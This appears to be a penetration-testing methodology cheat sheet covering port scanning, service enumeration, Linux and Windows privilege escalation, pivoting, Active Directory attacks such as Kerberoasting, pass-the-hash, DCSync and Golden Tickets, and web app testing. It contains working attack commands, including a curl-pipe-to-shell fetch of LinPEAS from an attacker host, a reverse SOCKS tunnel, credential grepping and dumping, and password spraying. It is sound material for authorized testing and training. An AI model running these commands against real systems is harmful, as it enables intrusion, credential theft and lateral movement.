Methodologies

Sweep all ports before touching any service

A fast top-1000 scan is for orientation only. The way in is often a service on a high, non-standard port a fast scan never sees. Full range first, always.

nmap -p- --min-rate 5000 -T4 <TARGET-IP> -oN ports.txt

nmap -sCV -p$(grep ^[0-9] ports.txt | cut -d/ -f1 | paste -sd,) <TARGET-IP> -oN services.txt

nmap -sU --top-ports 100 <TARGET-IP>

Record every version for later

Each version string is a lead. Match it against known exploits now and again whenever you get stuck. Version precision is what turns a service into a shell.

Web (80 / 443 / 8080 / 8000 ...)

Usually the largest surface. Fingerprint, then discover content, vhosts, and parameters. Read the source and robots.txt; the interesting stuff is rarely linked.

whatweb -a 3 http://<TARGET-IP> && curl -sI http://<TARGET-IP>

ffuf -u http://<TARGET-IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403

ffuf -u http://<TARGET-IP> -H "Host: FUZZ.<TARGET-IP>" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 0

SMB (139 / 445)

On Windows and AD networks, SMB leaks users, shares, and sometimes files with credentials. Try a null session first.

netexec smb <TARGET-IP> -u "" -p "" --shares

enum4linux-ng -A <TARGET-IP>

smbclient -N -L //<TARGET-IP>/ && smbclient -N //<TARGET-IP>/share

Everything else (FTP, SNMP, LDAP, NFS, DNS, RPC)

Each has a fast high-value check. Anonymous FTP, public SNMP strings, and no_root_squash NFS are free wins operators skip when rushing.

ftp <TARGET-IP>   # try anonymous : anonymous

snmpwalk -v2c -c public <TARGET-IP>

showmount -e <TARGET-IP>

Rank what you found

Do not attack in the order you found things. Attack in the order of probability.

• Known public exploit for an exact version → try first, it is the fastest win.
• Default or guessable credentials on any service → try before anything clever.
• Obvious misconfiguration (writable share, anonymous access, exposed .git/.env).
• A version that is old but has no ready exploit → note it, keep enumerating.

When stuck, you missed something. Go back

Being stuck is a signal that enumeration is incomplete, not that the box is unbeatable. Widen and deepen before you assume a hard exploit.

• Re-run discovery with a larger wordlist and against every vhost you found.
• Check UDP and the odd high ports again.
• Reuse any credential you found here against every other service.
• Read the web app source and JS bundles line by line for endpoints and secrets.

Upgrade to a real TTY

A half-shell wastes time and breaks on the first interactive prompt. Fix it before you enumerate.

python3 -c 'import pty;pty.spawn("/bin/bash")'

Establish your context

The two commands that most often hand you the answer immediately.

id && sudo -l

whoami /priv && whoami /groups

Linux: are you already root-adjacent?

Read your groups before reaching for any exploit. docker, lxd/lxc, and disk are root-equivalent by design, and a privileged container or an exposed Docker socket breaks straight out to the host.

Run the scanner, but read the output

LinPEAS / WinPEAS find most vectors and highlight them. The tool is the start of the analysis, not the end. Run it in memory to avoid touching disk.

curl http://<YOUR-IP>:<LPORT>/linpeas.sh | sh

iwr http://<YOUR-IP>:<LPORT>/winPEASx64.exe -o w.exe; .\w.exe

Run the manual high-value checks the scanner buries

• Linux: sudo -l (check each entry on GTFOBins), SUID/SGID binaries, writable cron, capabilities.
• Windows: unquoted service paths, weak service permissions, AlwaysInstallElevated, scheduled tasks.
• Both: anything running as root/SYSTEM that you can influence (a writable script, a config, a binary).

find / -perm -4000 -type f 2>/dev/null

getcap -r / 2>/dev/null

Hunt credentials

A found password beats every exploit: it is reliable, quiet, and often reused for the next box too.

grep -riE 'password|passwd|secret|api_key' /etc /var/www /home 2>/dev/null

reg query HKLM /f password /t REG_SZ /s 2>nul

Linux: work down the reliability order

• sudo rights → GTFOBins (most reliable).
• SUID binary → GTFOBins.
• Writable cron, systemd timer, or service.
• Capabilities (cap_setuid).
• One-shot userspace roots (PwnKit, Baron Samedit) before you risk the kernel.
• Kernel exploit last: it can panic the box.

Linux: try the one-shot roots first

PwnKit (pkexec) and Baron Samedit (sudo) are near-universal userspace bugs that give a root shell with no special rights and no panic risk. Try them before a kernel exploit.

Linux: sudo env and wildcard injection

If sudo -l keeps LD_PRELOAD / LD_LIBRARY_PATH, force root to load your shared object. If a root job globs a directory you can write, plant filenames it reads as flags (tar --checkpoint).

Linux: writable systemd units

systemd has largely replaced cron. A writable .service/.timer, or a root unit whose ExecStart target you can edit, is a clean path to root.

Windows: work down the reliability order

• SeImpersonate / SeAssignPrimaryToken → a Potato attack to SYSTEM.
• Unquoted service path with a writable folder.
• Weak service permissions → reconfigure the binary path.
• AlwaysInstallElevated → a malicious MSI.
• Stored credentials (cmdkey, registry, SAM).

Local admin but no rights? Bypass UAC

In Administrators but at medium integrity, UAC stands between you and real admin. Auto-elevating-binary tricks (fodhelper) cross to high integrity with no prompt.

Dump credentials, hashes, and tickets

Before you leave a host, take everything reusable from it.

netexec smb <TARGET-IP> -u <USER> -p <PASS> --sam --lsa

find / \( -name "id_rsa" -o -name "*.kdbx" -o -name "*.ovpn" \) 2>/dev/null

Map what this host can reach

A compromised host sees networks and services the outside cannot. Enumerate from the inside.

arp -a; ip neigh; cat /etc/hosts

ss -tlnp || netstat -antp

Spray the credential across the subnet

Password reuse is the rule, not the exception. One valid pair often authenticates to a dozen machines.

netexec smb <RANGE> -u <USER> -p <PASS>

netexec winrm <RANGE> -u <USER> -p <PASS>

Pass the hash / ticket when you have no cleartext

You rarely need to crack. The hash or ticket authenticates directly.

netexec smb <RANGE> -u <USER> -H <NTLM-HASH>

evil-winrm -i <TARGET-IP> -u <USER> -H <NTLM-HASH>

Stand up a SOCKS proxy through the foothold

A tunnel turns your whole toolkit onto the internal network. Set it up once, then run everything through it.

./chisel server -p <LPORT> --reverse   # attacker

./chisel client <YOUR-IP>:<LPORT> R:socks   # victim

proxychains -q nmap -sT -Pn <internal-host>

Forward a single internal service when a full proxy is overkill

ssh -L 8080:127.0.0.1:8080 <USER>@<TARGET-IP>

Enumerate the domain

Users, groups, computers, and policy. Even one valid credential opens most of this up.

netexec smb <DC-IP> -u <USER> -p <PASS> --users --groups

ldapdomaindump -u <DOMAIN>\\<USER> -p <PASS> <DC-IP>

Collect BloodHound data and find the path

This is the single highest-leverage move in AD. Let the graph show you the shortest path to Domain Admin instead of guessing.

bloodhound-python -u <USER> -p <PASS> -d <DOMAIN> -ns <DC-IP> -c all

Poison the network for a first hash

No account at all? On an internal segment, Responder (LLMNR/NBT-NS) or mitm6 (IPv6 DNS) makes machines authenticate to you within minutes. Crack the NetNTLM hash, or relay it live.

No credentials yet

You can often get a first hash without any account at all.

netexec ldap <DC-IP> -u users.txt -p "" --asreproast asrep.txt

sudo responder -I tun0

Have a user? Take the cheap wins

Kerberoast first: service accounts often have weak, crackable passwords and elevated rights.

netexec ldap <DC-IP> -u <USER> -p <PASS> --kerberoasting kerb.txt

hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt

Walk the ACL / delegation path BloodHound found

The path to DA is usually a chain of small rights: GenericWrite, WriteDACL, delegation. Follow the graph edge by edge.

Check AD CS - the modern shortcut to DA

Certificate Services is the most common fast path today: a misconfigured template (ESC1) or an NTLM relay to the CA (ESC8) hands you a Domain Admin certificate. Run certipy find early.

DCSync the hashes

With replication rights (Domain Admin, or delegated), pull every hash in the domain, including krbtgt.

impacket-secretsdump <DOMAIN>/<USER>:<PASS>@<DC-IP> -just-dc

Persist

The krbtgt hash is the master key. A Golden Ticket forges access to anything, as anyone, indefinitely.

• Golden Ticket from the krbtgt hash for domain-wide, long-term access.
• Dump LAPS / GMSA passwords for local admin everywhere.
• Record what you touched and clean up artifacts.

Fingerprint the stack

whatweb -a 3 http://<TARGET-IP> && curl -sI http://<TARGET-IP>

Discover content and parameters

The vulnerable endpoint is rarely in the navigation. Brute directories, vhosts, and params; let Burp spider while you click.

ffuf -u http://<TARGET-IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc all -fc 404

ffuf -u "http://<TARGET-IP>/api?FUZZ=1" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0

Map authentication, roles, and trust boundaries

Note where privilege changes: login, admin areas, anything that fetches a URL, anything that takes a file. Those boundaries are where the bugs live.

Injection (SQLi, command, XSS, SSTI)

Send one metacharacter at a time into every input and watch for errors, reflections, or timing shifts.

Access control (IDOR, forced browsing)

Change every id and role you control; hit privileged paths directly. The most common critical finding, and a scanner will miss it.

The rest (SSRF, XXE, upload, auth, deserialization)

Any feature that fetches a URL, parses XML, accepts a file, or handles sessions is a category to test in full.

Escalate the single bug

A finding is a foothold. Push it to its maximum: SQLi to RCE, LFI to RCE via log poisoning, stored XSS to account takeover.

Chain low-severity findings into high

Two "medium" bugs often combine into a critical: an open redirect feeds an SSRF, an IDOR leaks the token that breaks auth. Report the chain, not just the parts.

• Keep every request/response in Burp: it is your notebook and your proof.
• Retest after any "fix": patches are often incomplete or bypassable.